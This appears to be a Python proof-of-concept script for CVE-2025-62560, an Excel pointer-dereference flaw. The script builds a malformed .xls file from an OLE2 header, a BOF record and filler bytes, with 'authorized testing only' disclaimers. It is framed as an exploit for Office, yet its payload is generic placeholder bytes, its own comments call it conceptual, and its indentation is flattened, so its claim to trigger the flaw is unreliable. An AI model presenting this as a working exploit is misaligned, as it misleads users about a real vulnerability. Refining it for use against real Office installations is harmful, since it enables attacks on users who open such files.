The following code is for security research and authorized testing only.
python
# CVE-2025-62560 PoC - Malicious Excel File Trigger
# This PoC demonstrates the vulnerability concept
# DO NOT use for malicious purposes
import struct
import os
def create_malicious_excel():
"""
Create a malicious Excel file that triggers CVE-2025-62560
Untrusted pointer dereference in Microsoft Office Excel
"""
# Excel file signature (XLS format)
header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1'
# OLE2 Compound Document structure
ole_header = bytearray(512)
ole_header[0:8] = header
# Sector allocation table
sector_table = bytearray(512)
# Malicious payload to trigger pointer dereference
# This is a conceptual PoC - actual exploit requires specific conditions
malicious_data = bytearray(1024)
# Fill with specific byte patterns that may trigger the vulnerability
# In real exploitation, this would target specific memory addresses
for i in range(len(malicious_data)):
malicious_data[i] = 0x41 if i % 2 == 0 else 0x42
# Construct the malformed record structure
# Excel BOF record (Beginning of File)
bof_record = struct.pack('<HHII',
0x0809, # Record type
0x0010, # Record length
0x0005, # Version
0x02D0 # Type
)
# Malformed record that triggers untrusted pointer
# The exact bytes depend on the specific vulnerability trigger
trigger_data = b'\x00' * 256 + b'\xFF' * 16
# Combine all components
excel_file = ole_header + sector_table + bof_record + malicious_data + trigger_data
return excel_file
def main():
"""Generate and save the PoC file"""
poc_data = create_malicious_excel()
output_file = 'CVE-2025-62560_poc.xls'
with open(output_file, 'wb') as f:
f.write(poc_data)
print(f'PoC file generated: {output_file}')
print('WARNING: This file is for educational purposes only')
print('Do not distribute or use for malicious activities')
if __name__ == '__main__':
main()
# Note: This is a conceptual PoC. Actual exploitation requires:
# 1. Detailed analysis of the specific pointer dereference flaw
# 2. Precise memory layout understanding
# 3. Specific Excel version and patch level targeting
# 4. ROP chain construction for modern Windows protections (ASLR, DEP)